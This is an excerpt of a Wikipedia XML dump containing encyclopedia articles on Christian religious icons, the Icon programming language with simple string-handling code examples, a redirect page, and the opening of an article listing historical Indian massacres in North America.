There was a continuing opposition to misuse of images within Christianity  from very early times.  &quot;''Whenever images threatened to gain undue influence within the church, theologians have sought to strip them of their power''&quot; (Belting, Hans; ''Likeness and Presence'', Chicago and London, 1994).  Further,&quot;''there is no century between the fourth and the eighth in which there is not some evidence of opposition to images even within the Church'' (Kitzinger, Ernst; ''The Cult of Images in the Age before Iconoclasm'', Dumbarton Oaks, 1954; repeated by Pelikan, Jaroslav; ''The Spirit of Eastern Christendom'' 600-1700, University of Chicago Press, 1974). Nonetheless, popular favoritism for icons guaranteed their continued existence, while as yet no systematic apologia for or against icons, or doctrinal authorization or condemnation of icons existed.
   
The use of icons was seriously challenged by Byzantine Imperial authority in the 8th century.  Though by this time opposition to images was strongly entrenched in Judaism and in the rising religion of Islam, attribution of the impetus toward an iconoclastic movement in Eastern Orthodoxy to Muslims or Jews &quot;''seems to have been highly exaggerated, both by contemporaries and by modern scholars''&quot; (see Pelikan, ''The Spirit of Eastern Christendom'').

Though significant in the history of religious doctrine, the Byzantine controversy over images is not seen as of primary importance in Byzantine history.  &quot;Few historians still hold it to have been the greatest issue of the period...&quot; (Patricia Karlin-Hayter, Oxford History of Byzantium, Oxford University Press, 2002).

The Iconoclastic Period began when images were banned by Emperor [[Leo III]] sometime between 726 and 730. Under his son [[Constantine V]], an ecumenical council forbidding image veneration was held at Hieria near Constantinople in 754.  Image veneration was later reinstated by the [[Irene (empress)|Empress Regent Irene]], under whom another ecumenical council was held reversing the decisions of the previous iconoclast council and taking its title as [[Seventh Ecumenical Council]].  The council anathemized all who hold to iconoclasm, i.e. those who held that veneration of images constitutes idolatry. Then the ban was enforced again by [[Leo V]] in 815. And finally icon veneration was decisively restored by [[Theodora (9th century)|Empress Regent Theodora]]. 

[[Image:vladimirskaya.jpg|right|thumb|The &quot;[[Theotokos of Vladimir]]&quot; icon (12th century)]]

==Icons in Greek-speaking regions==
Icons are used particularly among [[Eastern Orthodoxy|Eastern Orthodox]], [[Oriental Orthodoxy|Oriental Orthodox]], [[Coptic Christianity|Coptic]] and [[Eastern Rites|Eastern-rite Catholic]] populations.

As was described above, the icon painting tradition developed in Byzantium, with Constantinople as the chief city. We have only a few icons from the 11th century and no icons dating from the two centuries that preceded it, firstly because of the Iconoclastic reforms during which many were destroyed, secondly because of plundering by Venetians in 1204 during the [[Crusades]], and finally the taking of the city by the Islamic Turks in 1453. 

It was only in the [[Comnenus|Comnenian]] period (1081-1185) that the cult of the icon became widespread in the Byzantine world, partly on account of the dearth of richer materials (such as [[mosaic]]s, [[ivory]], and [[enamel]]s), but also because a [[iconostasis|special screen for icons]] was introduced in eccelsiastical practice. The style of the time was severe, hieratic and distant.  

In the late Comnenian period this severity softened, and emotion, formerly avoided, entered icon painting. Major monuments for this change include the murals at [[Daphni]] (ca. 1100) and [[Nerezi]] near [[Skopje]] (1164). The [[Theotokos of Vladimir]] (ca. 1115, illustrated to the right) is probably the most representative monument to the new trend towards spirituality and emotion.

The tendency toward emotionalism in icons continued in the [[Paleologus|Paleologan Period]], which began in 1261.  Paleologan art reached its pinnacle in mosaics such as those of the ''[[Kariye Camii]]'' (former Chora Monastery).  In the last half of the 1300s, Paleologan saints were painted in an exaggerated manner, very slim and in contorted positions, that is, in a style known as the Paleologan Mannerism, of which [[:Image:Lepota.jpg|Ochrid's Annunciation]] is a superb example.

After the [[fall of Constantinople]] to the Turks in 1453, the Byzantine tradition was carried on in regions previously influenced by its religion and culture--the Balkans and Russia, [[Georgia (Caucasus)|Georgia]], and in the Greek-speaking realm, on [[Crete]].

Crete, at that time, was under Venetian control and became a thriving center of art of the ''Scuola di San Luca'', the &quot;School of St. Luke,&quot; an organized guild of painters.  Cretan painting was heavily patronized both by Catholics of Venetian territories and by Eastern Orthodox.  For ease of transport, Cretan iconographers specialized in panel paintings, and developed the ability to work in many styles to fit the taste of various patrons. In 1669 the city of Heraklion, on Crete, which at one time boasted at least 120 painters, finally fell to the Turks, and from that time Greek icon painting went into a decline, with a revival attempted in the 20th century by art reformers such as [[Photios Kontoglou]], who emphasized a return to earlier styles.

==Icons in Russia==
:''Main article: [[Russian icons]]''

[[Image:Goldenlocks.jpg|thumb|right|Angel the Golden Locks, a 12th-century icon from [[Novgorod]].]]
Russian icons are typically paintings on wood, often small, though some in churches and monasteries may be as large as a table top. Many religious homes in [[Russia]] have icons hanging on the wall in the ''krasny ugol'', the &quot;red&quot; or &quot;beautiful&quot; corner. There is a rich history and elaborate [[religious symbolism]] associated with icons.   In Russian churches, the [[nave]] is typically separated from the [[sanctuary]] by an ''[[iconostasis]]'' (Russian ''ikonostás'') a wall of icons.

The use and making of icons entered Kievan Rus' (which later expanded to become the Russian Empire) following its conversion to Orthodox Christianity in 988 A.D.  As a general rule, these icons strictly followed models and formulas hallowed by usage, some of which had originated in Constantinople. As time passed, the Russians - notably [[Andrei Rublev]] and [[Dionisius]] - widened the vocabulary of types and styles far beyond anything found elsewhere.  The personal, improvisatory and creative traditions of Western European religious art are largely lacking in Russia before the 17th century, when [[Simon Ushakov]]'s painting became strongly influenced by religious paintings and engravings from both Protestant and Catholic Europe.  In the mid-17th century changes in liturgy and practice instituted by [[Patriarch Nikon]] resulted in a split in the Russian Orthodox Church.  The traditionalists, the persecuted &quot;Old Ritualists&quot; or [[Old Believers]],&quot; continued the traditional stylization of icons, while the State Church modified its practice.  From that time icons began to be painted not only in the traditional stylized and nonrealistic mode, but also in a mixture of Russian stylization and Western European realism, and in a Western European manner very much like that of Catholic religious art of the time.

==Icon traditions in other regions==
:''Main article: [[Romanian icons]]''

[[Image:Iconpeter.jpg|thumb|right|[[Romania]]n icon of [[St. Peter]]]]
In [[Romania]], icons painted as reversed images on glass and set in frames were common in the 19th century and are still made. &quot;''In the Transylvanian countryside, the expensive icons on panels imported from Moldavia, Wallachia, and Mt. Athos were gradually replaced by small, locally produced icons on glass, which were much less expensive and thus accessible to the Transylvanian peasants...''&quot; (''Romanian Icons on Glass'', Dancu, Juliana and Dumitru Dancu, Wayne State University Press, 1982). 

The Egyptian [[Coptic Christian|Coptic]] Church and the [[Ethiopia|Ethiopian]] Church also have distinctive, living icon painting traditions.

==The Protestant Reformation==
The abundant use and veneration historically accorded images in the Roman Catholic Church was a point of contention for Protestant reformers, who varied in their attitudes toward images.  In the consequent religious struggles many statues were removed from churches, and there was also destruction of images in some cases.   

Though followers of Zwingli and Calvin were more severe in their rejection, Lutherans tended to be moderate with many of there parishes having displays of statues and crucifixes.  A joint Lutheran-Orthodox statement in Helsinki reaffirmed the Ecumenical Council decisions on the nature of Christ and the veneration of images: 

''&quot;The Seventh Ecumenical Council, the Second Council of Nicaea in 787, which rejected iconoclasm and restored the veneration of icons in the churches, was not part of the tradition received by the Reformation. Lutherans, however, rejected the iconoclasm of the 16th century, and affirmed the distinction between adoration due to the Triune God alone and all other forms of veneration. Through historical research this council has become better known. Nevertheless it does not have the same significance for Lutherans as it does for the Orthodox. Yet, Lutherans and Orthodox are in agreement that the Second Council of Nicaea confirms the christological teaching of the earlier councils and in setting forth the role of images (icons) in the lives of the faithful reaffirms the reality of the incarnation of the eternal Word of God, when it states: &quot;The more frequently, Christ, Mary, the mother of God, and the saints are seen, the more are those who see them drawn to remember and long for those who serve as models, and to pay these icons the tribute of salutation and respectful veneration. Certainly this is not the full adoration in accordance with our faith, which is properly paid only to the divine nature, but it resembles that given to the figure of the honored and life-giving cross, and also to the holy books of the gospels and to other sacred objects&quot; (Definition of the Second Council of Nicaea).&quot;''

==Icons and images in contemporary Christianity==

Today attitudes can vary even from church to church within a given denomination, whether Catholic or Protestant. Protestants generally use religious art for teaching and for inspiration, but such images are not venerated as in Orthodoxy, and many Protestant church sanctuaries contain no imagery at all.

After the Second Vatican Council declared in the 1960s that the use of statues and pictures in churches should be moderate, most statuary was removed from many Catholic Churches.  Eastern Orthodoxy, however, continues to give such strong importance to the use and veneration of icons that they are often seen as the chief symbol of Orthodoxy.  Catholicism has a long tradition of valuing the arts and patronized a significant number of famous artists.  Present-day imagery within Roman Catholicism varies in style from traditional to modern, and is often affected by trends in the art world in general.

[[Image:fedorovskaya.jpg|left|thumb|''Our Lady of St Theodore'', a 1703 copy of the 11th-century icon, following the same Byzantine &quot;Tender Mercy&quot; type as the Vladimirkskaya above.]]
Icons are often illuminated with a candle or jar of oil with a wick. (Beeswax for candles and olive oil for oil lamps are preferred because they burn very cleanly, although other materials are sometimes used.) The illumination of religious images with lamps or candles is an ancient practice pre-dating Christianity.

Historically and even today among conservative Eastern Orthodox there are reports of miraculous icons that exude a fragrant, healing oil. When these reports are verified by Orthodox clergy, they are still explained as miracles performed by God through the prayers of the saint, rather than being magical properties of the painted wood itself.

== Eastern Orthodox and Roman Catholic teaching about Icons ==
Icons are used particularly in Eastern Orthodox, Coptic Orthodox, Oriental Orthodox, and Eastern-rite Catholic churches.

The Eastern Orthodox view of the origin of icons is quite different from that of some secular scholars and from some in contemporary Roman Catholic circles:  &quot;''The Orthodox Church maintains and teaches that the sacred image has existed from the beginning of Christianity''&quot; (Leonid Ouspensky, ''Theology of the Icon,&quot; St. Vladimir's Seminary Press, 1978).  Accounts that some non-Orthodox writers consider legends are, within Eastern Orthodoxy, accepted as history, because they are a part of Church Tradition.  Thus accounts such as that of the miraculous &quot;Image Not Made by Hands,&quot; and the weeping and moving &quot;Mother of God of the Sign&quot; of Novgorod are accepted as fact:  &quot;''Church Tradition tells us, for example, of the existence of an Icon of the Savior during His lifetime (the &quot;Icon-Made-Without-Hands&quot;) and of Icons of the Most-Holy Theotokos [Mary] immediately after Him.''&quot; (''These Truths we Hold'', St. Tikhon's Seminary Press, 1986). Eastern Orthodox further believe that &quot;a clear understanding of the importance of Icons&quot; was part of the church from its very beginning, and has never changed, although explanations of their importance may have developed over time.  This is due to the fact that iconography is rooted in the theology of the Incarnation (Christ being the ''eikon'' of God) which didn't change, though its subsequent clarification within the Church occurred over the period of the first seven Ecumenical Councils.  Also, icons served as tools of edification for the faithful during most of the history of Christendom when most couldn't read nor write.

Eastern Orthodox find the first instance of an image or icon in the Bible when God made man in His own image (Septuagint Greek ''eikona''), recorded in Genesis 1:26-27. In Exodus, God commanded that the Israelites not make any graven image; but soon afterwards, he commanded that they make graven images of cherubim and other like things, both as statues and woven on tapestries. Later, Solomon included still more such imagery when he built the first temple. Eastern Orthodox believe these qualify as icons, in that they were visible images depicting heavenly beings and, in the case of the cherubim, used to indirectly indicate God's presence above the Ark.

In Numbers it is written that God told Moses to make a bronze serpent and hold it up, so that anyone looking at the snake would be healed of their snakebites. In John 3, Jesus refers to the same serpent, saying that he must be lifted up in the same way that the serpent was.  [[John of Damascus]] also regarded the brazen serpent as an icon. Further, Jesus Christ himself is called the &quot;image of the invisible God&quot; in Colossians 1:15, and is therefore in one sense an icon. As people are also made in God's images, people are also considered to be living icons, and are therefore &quot;censed&quot; along with painted icons during Orthodox prayer services. [[Image:ac.byzantine1.jpg|thumb|300px|A somewhat disinterested (not to say jejune) treatment of the highly emotional subject and painstaking attention to the throne and other details of the material world distinguish this superb work by a medieval [[Sicilian]] master from genuine works by imperial icon-painters of Constantinople.]]

According to John of Damascus, anyone who tries to destroy icons &quot;is the enemy of Christ, the Holy Mother of God and the saints, and is the defender of the Devil and his demons.&quot; This is because the theology behind icons is closely tied to the Incarnational theology of the humanity and divinity of Jesus, so that attacks on icons typically have the effect of undermining or attacking the Incarnation of Jesus himself as elucidated in the Ecumenical Councils. 

The Eastern Orthodox teaching regarding [[veneration]] of icons is that the praise and veneration shown to the icon passes over to the archetype (Basil of Caesarea,''On the Holy Spirit'' 18:45: &quot;''The honor paid to the image passes to the prototype''&quot;). Thus to kiss an icon of Christ, in the Eastern Orthodox view, is to show love towards Christ Jesus himself, not mere wood and paint making up the physical substance of the icon. Worship of the icon as somehow entirely separate from its prototype is expressly forbidden by the Seventh Ecumenical Council; standard teaching in the Eastern Orthodox and Roman Catholic churches alike conforms to this principle. The Catholic Church accepts the same Councils and the canons therein which codified the teaching of icon veneration. 

The Latin Church of the West, which after 1054 was to become separate as the Roman Catholic Church, accepted the decrees of the iconodule Seventh Ecumenical Council regarding images.  There is some minor difference, however, in the Catholic attitude to images from that of the Orthodox.  Following Gregory the Great, Catholics emphasize the role of images as the ''Biblia Pauperum'', the “Bible of  the Poor,” from which those who could not read could nonetheless learn. This view of images as educational is shared by most Protestants.

Catholics also, however, accept in principle the Eastern Orthodox veneration of images, believing that whenever approached, images of the cross, saints, etc. are to be reverenced. Though using both flat wooden panel and stretched canvas paintings, Catholics traditionally have also favored images in the form of three-dimensional statuary, whereas in the East statuary is much less widely employed.

==''Eikon'' in the Septuagint==
The Greek word ''eikon'' means an image or likeness of any kind.  Anything that represents something else is an ''eikon''. Nothing is implied about sanctity or its absence, or veneration or its absence by the word itself.

The Septuagint is the Greek translation of the Hebrew Scriptures used by the early Christians, and Eastern Orthodox consider it the only authoritative text of those Scriptures.  In it the word ''eikon'' is used for everything from man being made in the divine image to the &quot;molten idol&quot; placed by Manasses in the Temple.  The word eikon is found in:

#Genesis 1:26-27;
#Genesis 5:1-3;
#Genesis 9:6;
#Deuteronomy 4:16
#1 Samuel (1 Kings) 6:11 (Alexandrian manuscript);
#2 Kings 11:18;
#2 Chronicles 33:7;
#Psalm 38:7
#Psalm 72:20;
#Isaiah 40, 19-20;
#Ezekiel 7:20;
#Ezekiel 8:5 (Alexandrian manuscript);
#Ezekiel 16:17;
Ezekiel 23:14;
Daniel 2:31,32,34,35;
Daniel 3:1,2,3,5,7,11,12,14,15,18;
Hosea 13:2

Be aware that Septuagint numberings and names and the English Bible numberings and names are not uniformly identical.

==''Eikon'' in the New Testament==
In the New Testament the term is used for everything from Jesus as the image of the invisible God (Colossians 1:15) to the image of Caesar on a Roman coin (Matthew 22:20) to the image of the Beast in the Apocalypse (Revelation 14:19).  Here is a complete listing:

#Matthew 22:20;
#Mark 12:16
#Luke 20:24
#Romans 1:23
#Romans 8:29;
#1 Corinthians 11:7;
#1 Corinthians 15:49
#2 Corinthings 3:18;
#2 Corinthians 4:4;
#Colossians 1:15;
#Colossians 3:10;
#Hebrews 10:1;
#Revelation 13:13;
#Revelation 13:15;
#Revelation 14:9;
#Revelation 14:11
#Revelation 15:2
#Revelation 16:2
#Revelation 19:20;
#Revelation 20:4.

==See also==
{{commons|Icon}}
*[[Simulacrum]] | [[Crucifix]] | [[Templon]] | [[Proskynetarion]] | [[Symbolism]] | [[Religious symbolism]] | [[Jewish symbolism]] | [[Christian symbolism]] | [[Anthropology of religion]] | [[List of religious topics]] | [[Emblem]] | [[Iconoclasm]] | [[Iconography]] | [[Iconostasis]] | [[Ideogram]] | [[Idolatry]] | [[Image]] | [[Ishta-Deva]] | [[Lingam]] | [[Logotype]] | [[Masking]] | [[Murti]] | [[Saligrama]] | [[Sign]] | [[Symbol]] | [[Veneration]]

== External links ==
=== Orthodox ===
*[http://www.orthodoxinfo.com/general/orth_icon.aspx The Iconic and Symbolic in Orthodox Iconography]
*[http://www.traditionaliconography.com/webgalleryart.html On the difference of Western Religious Art and Orthodox Iconography]

=== Catholic ===
*[http://www.newadvent.org/cathen/07664a.htm ''Catholic Encyclopedia'':]&quot;Veneration of Images&quot;

=== Protestant ===
*[http://www.xpucmoc.org/icon.htm ''Theology of Icons: a Protestant Perspective'']

=== Pictures ===
*[http://www.culture.gr/2/21/218/218ab/e218ab00.html Icons of Mount Athos]
*[http://www.auburn.edu/academic/liberal_arts/foreign/russian/icons/ Russian Icons from 12th to 18th century]
*[http://www.goarch.org/access/resources/clipart/ Greek Orthodox Archdiocese of America: Icons]
*[http://www.icon-art.info/gallery.php?lng=en Gallery of icons, murals and mosaics (mostly Russian) from 11th to 20th century]
*[http://www.instaplanet.com/icon.html Two 19th century Russian icons depicting Saint Nicholas]

{{Eastern Christianity}}
[[Category:Religious objects]]
[[Category:Art genres]]
[[Category:Eastern Orthodoxy]]

[[de:Ikone]]
[[es:Ícono]]
[[eo:Ikono (religio)]]
[[fr:Icône (religion)]]
[[he:איקונין]]
[[mk:Икони]]
[[nl:Icoon (schilderkunst)]]
[[ja:イコン]]
[[pl:Ikona]]
[[ru:Икона]]
[[sr:Икона]]
[[fi:Ikoni]]
[[sv:Ikon]]
[[uk:Ікона]]</text>
    </revision>
  </page>
  <page>
    <title>Icon programming language</title>
    <id>14801</id>
    <revision>
      <id>40364422</id>
      <timestamp>2006-02-20T01:58:33Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''Icon''' is a very high-level [[programming language]] featuring ''goal directed execution'' and excellent facilities for managing [[string (computer science)|strings]] and textual patterns. It is related to [[SNOBOL]], a string processing language. '''Icon''' is not object-oriented, but an object-oriented extension called Idol was developed in [[1996]] which eventually became [[Unicon programming language|Unicon]]. 

==Basic syntax==

The icon language is derived from the [[Algol]]-class of [[structured programming]] languages, and thus has syntax similar to [[C programming language|C]] or [[Pascal programming language|Pascal]]. Icon is most similar to Pascal, using &lt;code&gt;:=&lt;/code&gt; syntax for assignments, the &lt;code&gt;procedure&lt;/code&gt; keyword and similar syntax. On the other hand, Icon uses C-style brackets for structuring execution groups, and programs start by running a procedure called &quot;main&quot;.

In many ways Icon also shares features with most [[scripting programming language]]s; variables do not have to be declared, types are cast automatically, and numbers can be converted to strings and back automatically. Another feature common to many scripting languages, but not all, is the lack of a line-ending character; in Icon lines not ended by a semicolon 
get ended by an implied semicolon if it makes sense.

Procedures are the basic building blocks of Icon programs, and although they use Pascal naming they work more like C functions and can return values; there is no &lt;code&gt;function&lt;/code&gt; keyword in Icon.

&lt;code&gt;
 procedure doSomething(aString)
   write(aString)
 end
&lt;/code&gt;

==Goal-directed execution==

One of Icon's key concepts is to change control structures from ones based on boolean logic, to ones based on &quot;success&quot; or &quot;failure&quot;. Under this model simple comparisons like &lt;code&gt;if a &lt; b&lt;/code&gt; do not mean &quot;if the operations to the right evaluate to true&quot; as the would under most languages, instead it means something more like &quot;if the operations to the right ''succeed&quot;''. In this case the &lt; operator succeeds if the comparison is true, so the end result is identical between Icon and other languages. Things become slighly more interesting when you consider &lt;code&gt;if a &lt; b &lt; c&lt;/code&gt;, a common type of comparison that cannot be directly stated in most languages.

The utility of this concept becomes much clearer when you consider real-world examples. Since Icon uses success or failure for all flow control, this simple code:

&lt;code&gt;
if a := read() then write(a)
&lt;/code&gt;

Will copy one line of the standard input to standard output. What's interesting about this example is that the code will work even if the read() causes an error, for instance, if the file does not exist. In that case the statement &lt;code&gt;a := read()&lt;/code&gt; will fail, and write will simply not be called.

Success and failure are passed &quot;up&quot; through functions, meaning that a failure inside a nested function will cause the functions calling it to fail as well. For instance, we can write a program to copy an entire input file to output in a single line:

&lt;code&gt;
while write(read())
&lt;/code&gt;

When the read() command fails, at the end of file for instance, the failure will be passed up the chain and write() will fail as well. The while, being a control structure, stops on failure, meaning it stops when the file is empty. For comparison, consider a similar example written in [[Java programming language|Java]]-based [[pseudocode]]:

&lt;code&gt;
 try {
   while ((a = read()) != EOF) {
     write(a);
   }
 } catch (Exception e) {
   // do nothing, exit the loop
 }
&lt;/code&gt;

In this case there are two comparisons needed, one for end of file (EOF) and another for all other errors. Since Java does not allow errors to be compared as logic elements, as under Icon, the lengthy &lt;code&gt;try/catch&lt;/code&gt; syntax must be used instead. Try blocks also impose a performance penalty for simply using them, even if no error occurs, a [[distributed cost]] that Icon avoids.

Icon refers to this concept as ''goal-directed execution'', referring to the way that execution continues until some goal is reached. In the example above the goal is to read the entire file; the read command continues to succeed while there is more information to be read, and fails when there isn't. The goal is thus coded directly in the language, instead of using statements checking return codes or similar constructs.

==Generators==

Expressions in Icon often return a single value, for instance, &lt;code&gt;x &lt; 5&lt;/code&gt; will evaluate and return success or failure. However several of the examples below rely on the fact that many expressions do not ''immediately'' return success or failure, returning values in the meantime. This drives the examples with &lt;code&gt;every&lt;/code&gt; and &lt;code&gt;to&lt;/code&gt;; &lt;code&gt;every&lt;/code&gt; causes &lt;code&gt;to&lt;/code&gt; to continue to return values until it fails.

This is a key concept in Icon, known as ''generators''. Generators drive much of the loop functionality in the language, but do so more directly; the programmer does not write a loop and then pull out and compare values, Icon will do all of this for you.

Icon includes several generator-builders. The ''alternator'' syntax allows a series of items to be generated in sequence until one fails: &lt;code&gt;1 | &quot;hello&quot; | x &lt; 5&lt;/code&gt; can generate &quot;1&quot;, &quot;hello&quot;, and &quot;5&quot; if x is less than than 5. Alternators can be read as &quot;or&quot; in many cases, for instance:

&lt;code&gt;if y &lt; (x | 5) then write(&quot;y=&quot;, y)&lt;/code&gt;

will write out the value of y if it is smaller than x ''or'' 5. Internally Icon checks every value from left to right until one succeeds or the list empties and it returns a failure. Remember that functions will not be called unless the calls within do not fail, so this example can be shortened to:

&lt;code&gt;write(&quot;y=&quot;, (x | 5) &gt; y)&lt;/code&gt;

Another simple generator is the &lt;code&gt;to&lt;/code&gt;, which generates lists of integers; &lt;code&gt;every write(1 to 10)&lt;/code&gt; will do exactly what it seems to. The ''bang syntax'' generates every item of a list; &lt;code&gt;every write(!aString)&lt;/code&gt; will output each character of aString on a new line.

To demonstrate the power of this concept, consider string operations. Most languages include a function known as &lt;code&gt;find&lt;/code&gt; or &lt;code&gt;indexOf&lt;/code&gt; that returns the location of a string within another. Consider:

&lt;code&gt;
 s = &quot;All the world's a stage. And all the men and women merely players&quot;;
 i = indexOf(&quot;the&quot;, s)
&lt;/code&gt;

This code will return 4, the position of the first occurrence of the word &quot;the&quot;. To get the next instance of &quot;the&quot; an alternate form must be used, &lt;code&gt;i = indexOf(&quot;the&quot;, s, 5)&lt;/code&gt;, the 5 at the end saying it should look from position 5 on. In order to extract all the occurrences of &quot;the&quot;, a loop must be used...

&lt;code&gt;
 s = &quot;All the world's a stage. And all the men and women merely players&quot;;
 i = indexOf(&quot;the&quot;, s)
 while i != -1 {
   write(i);
   i =  indexOf(&quot;the&quot;, s, i+1);
 }
&lt;/code&gt;

Under Icon the &lt;code&gt;find&lt;/code&gt; function is a generator, and will return the next instance of the string each time it is resumed before finally failing after it passes the end of the string. The same code under Icon can be written:

&lt;code&gt;
 s := &quot;All the world's a stage. And all the men and women merely players&quot;
 every write(find(&quot;the&quot;,s))
&lt;/code&gt;

Find will return the index of the next instance of &quot;the&quot; each time it is resumed by &lt;code&gt;every&lt;/code&gt;, eventually passing the end of the string and failing. As in the prior example, this will cause write to fail, and the (one-line) &lt;code&gt;every&lt;/code&gt; loop to exit. 

Of course there are times where you deliberately want to find a string after some point in input, for instance, you might be scanning a text file containing data in multiple columns. Goal-directed execution works here as well, and can be used this way:

&lt;code&gt;
write(5 &lt; find(&quot;the&quot;, s))
&lt;/code&gt;

The position will only be returned if &quot;the&quot; appears after position 5, the comparison will fail otherwise, passing that failure to write() as before. There is one small &quot;trick&quot; to this code that needs to be considered: comparisons return the right hand result, so it is important to put the find on the right hand side of the comparison. If it was placed on the left, 5 would be written.

Icon adds several control structures for looping through generators. The &lt;code&gt;every&lt;/code&gt; operator is similar to &lt;code&gt;while&lt;/code&gt;, looping through every item returned by a generator and exiting on failure:

&lt;code&gt;
  every k := i to j do
   doSomething(k)
&lt;/code&gt;

Why use &lt;code&gt;every&lt;/code&gt; instead of a while loop in this case? 
Because &lt;code&gt;while&lt;/code&gt; re-evaluates the first result,
but &lt;code&gt;every&lt;/code&gt; produces all results.
The &lt;code&gt;every&lt;/code&gt; syntax actually injects values into the function in a fashion similar to blocks under [[Smalltalk]]. For instance, the above loop can be re-written this way:

&lt;code&gt;every write(someFunction(i to j))&lt;/code&gt;

Users can build new generators easily using the &lt;code&gt;suspend&lt;/code&gt; keyword:

&lt;code&gt;
 procedure findOnlyOdd(pattern, theString)
   every i := find(pattern, theString) do
     if i % 2 = 1 then suspend i
 end
&lt;/code&gt;

This example loops over ''theString'' using find to look for ''pattern''. When one is found, and the position is even, the location is returned from the function with &lt;code&gt;suspend&lt;/code&gt;. Unlike &lt;code&gt;return&lt;/code&gt;, &lt;code&gt;suspend&lt;/code&gt; writes down where it is in the internal generators as well, allowing it to pick up where it left off on the next iteration.

==Strings==

In keeping with its script-like functionality, Icon adds a number of features to make working with strings easier. Most notable among these is the ''scanning'' system, which repeatedly calls functions on a string:

&lt;code&gt;s ? write(find(&quot;the&quot;))&lt;/code&gt;

is a short form of the examples shown earlier. In this case the ''subject'' of the &lt;code&gt;find&lt;/code&gt; function is placed outside the parameters in front of the question-mark. Icon functions are deliberately (as opposed to automatically) written to identify the subject in parameter lists and allow them to be pulled out in this fashion.

==Other structures==

Icon strings are simply lists of characters, similar to their partners in C. Icon also allows the user to easily construct their own lists (or ''arrays''):

&lt;code&gt;aCat := [&quot;muffins&quot;, &quot;tabby&quot;,  2002, 8]&lt;/code&gt;

The items within a list can be of any sort, including other structures. To quickly build larger lists, Icon includes the &lt;code&gt;list&lt;/code&gt; generator; &lt;code&gt;i := list(10, &quot;word&quot;)&lt;/code&gt; generates a list containing 10 copies of &quot;word&quot;.

Like arrays in other languages, Icon allows items to be looked up by position; &lt;code&gt;weight := aCat[4]&lt;/code&gt;. Also remember the bang-syntax, &lt;code&gt;every write(!aCat)&lt;/code&gt; will print out four lines, each with one element. Icon includes stack-like functions, &lt;code&gt;push&lt;/code&gt; and &lt;code&gt;pop&lt;/code&gt; to allow them to form the basis of stacks and queues.

Icon also includes functionality for sets and tables (known as ''hashes'', ''associative arrays'', ''dictionaries'', etc.), but the syntax for creating them is not as nice as a list:

&lt;code&gt;
 symbols := table(0)
 symbols[&quot;there&quot;] := 1
 symbols[&quot;here&quot;] := 2
&lt;/code&gt;

This code creates a table that will use zero as the default value of any unknown key. It then adds two items into it, with the keys &quot;there&quot; and &quot;here&quot;, and values 1 and 2. Note that most modern scripting languages combine lists and tables into a single feature, allowing the user to look up items by position or name, if it has one. This change would seem to clean up the Icon syntax as well.

== References ==
The definitive work is ''The Icon Programming Language'' (third edition) by Griswold and Griswold, ISBN 1-57398-001-3.
It is out of print but can be [http://www.cs.arizona.edu/icon/books.htm downloaded] in PDF form.

== See also ==
*[[Unicon programming language]]  (a descendant)

==External links==
{{Wikibooks|Programming:Icon}}

* [http://www.cs.arizona.edu/icon/index.htm Icon homepage]

[[Category:Programming languages]]
[[Category:SNOBOL programming language family]]
[[Category:Text-oriented programming languages]]
[[Category:Public domain software]]

[[ko:아이콘 프로그래밍 언어]]
[[ja:Icon言語]]
[[pl:Icon]]
[[pt:Icon]]
[[ru:Icon]]
[[sv:Programspråket Icon]]</text>
    </revision>
  </page>
  <page>
    <title>Iconology</title>
    <id>14802</id>
    <revision>
      <id>15912335</id>
      <timestamp>2004-06-27T23:16:08Z</timestamp>
      <contributor>
        <username>Gtrmp</username>
        <id>38984</id>
      </contributor>
      <comment>merged into [[iconography]]</comment>
      <text xml:space="preserve">#redirect [[iconography]]</text>
    </revision>
  </page>
  <page>
    <title>Indian massacres</title>
    <id>14804</id>
    <revision>
      <id>41967075</id>
      <timestamp>2006-03-02T23:00:55Z</timestamp>
      <contributor>
        <ip>12.74.168.116</ip>
      </contributor>
      <comment>/* List of massacres */</comment>
      <text xml:space="preserve">In the long history of the [[British colonization of the Americas|English colonization of North America]], the term &quot;'''Indian massacre'''&quot; was often used to describe mass killings of [[European-American]]s (&quot;whites&quot;) by [[Native Americans in the United States|Native Americans]] (&quot;Indians&quot;), and, less frequently, mass killings of American Indians by whites. In theory, ''massacre'' applied to the killing of [[civilian]] [[noncombatant]]s or to the summary execution of [[prisoners-of-war]]. In practice, the label was often haphazardly applied, rarely without [[bias]], and was sometimes used to describe an overwhelming (though [[laws of war|lawful]]) military defeat. Similarly, massacres were sometimes mislabeled &quot;[[battle]]s&quot; in an attempt to give legitimacy to what would today be considered a [[war crime]].

Determining how many people died in these massacres overall is difficult. In the book ''The Wild Frontier: Atrocities during the American-Indian War from Jamestown Colony to Wounded Knee'', amateur historian William M. Osborn sought to tally every recorded [[atrocity]] in the area that would eventually become the continental [[United States]], from first contact ([[1511]]) to the closing of the frontier ([[1890]]), and determined that 9,156 people died from atrocities perpetrated by Native Americans, and 7,193 people died from atrocities perpetrated by whites. Osborn defines an atrocity as the murder, torture, or mutilation of civilians, the wounded and prisoners. Different definitions would obviously produce different totals. For example, Osborn does not count Indian deaths on the [[Trail of Tears]] (because these were allegedly unintentional), but he does count several episodes of post-mortem mutilation, even of combatants killed in open battle.  Osborn's exact total of 16,349 killed on both sides can therefore be disputed.

Neither side stands out as being more merciful or humane than the other. Both sides collected [[scalping|scalps]] and scrota as trophies. Both sides raped. Both sides would promise safe conduct to defeated enemies or non-combatants, and then massacre them as soon as they let their guard down. Both sides attacked easy targets (such as peaceful-- even friendly--villages and settlements) as retaliation for hostile acts by totally unrelated war bands and militia units.

==List of massacres==
Here is a list of the larger or more widely known events, named as massacres, in North America:

*[[March 22]], [[1622]] - [[Jamestown Massacre]] - Powhatans kill 347 English settlers throughout the Virginia colony.
*[[May 26]], [[1637]] - In the [[Pequot War]], English colonists, with [[Mohegan]] and [[Narragansett (tribe)|Narragansett]] allies, attack a large [[Pequot]] village on the Mystic River in what is now [[Connecticut]] and kill perhaps 500 villagers.
*[[February 8]], [[1690]] - French and [[Iroquois]] destroy [[Schenectady]], NY, killing 60, including 10 women and 12-17 children.
*[[February 29]], [[1704]] - [[Deerfield Massacre]] - Deerfield, [[Massachusetts]] - As an action during [[Queen Anne's War]], a force comprised of [[Abenaki]], [[Kanienkehaka]], [[Wyandot]], and [[Pocumtuck]] Indians, led by a small contingent of French-Canadian miltia, sacked the town of Deerfield, Massachutsetts, killing fifty-six civilians and taking dozens more as captives.
*August [[1757]] - 70-180 British and colonial prisoners killed by Indian allies of the French after the fall of [[Fort William Henry]].
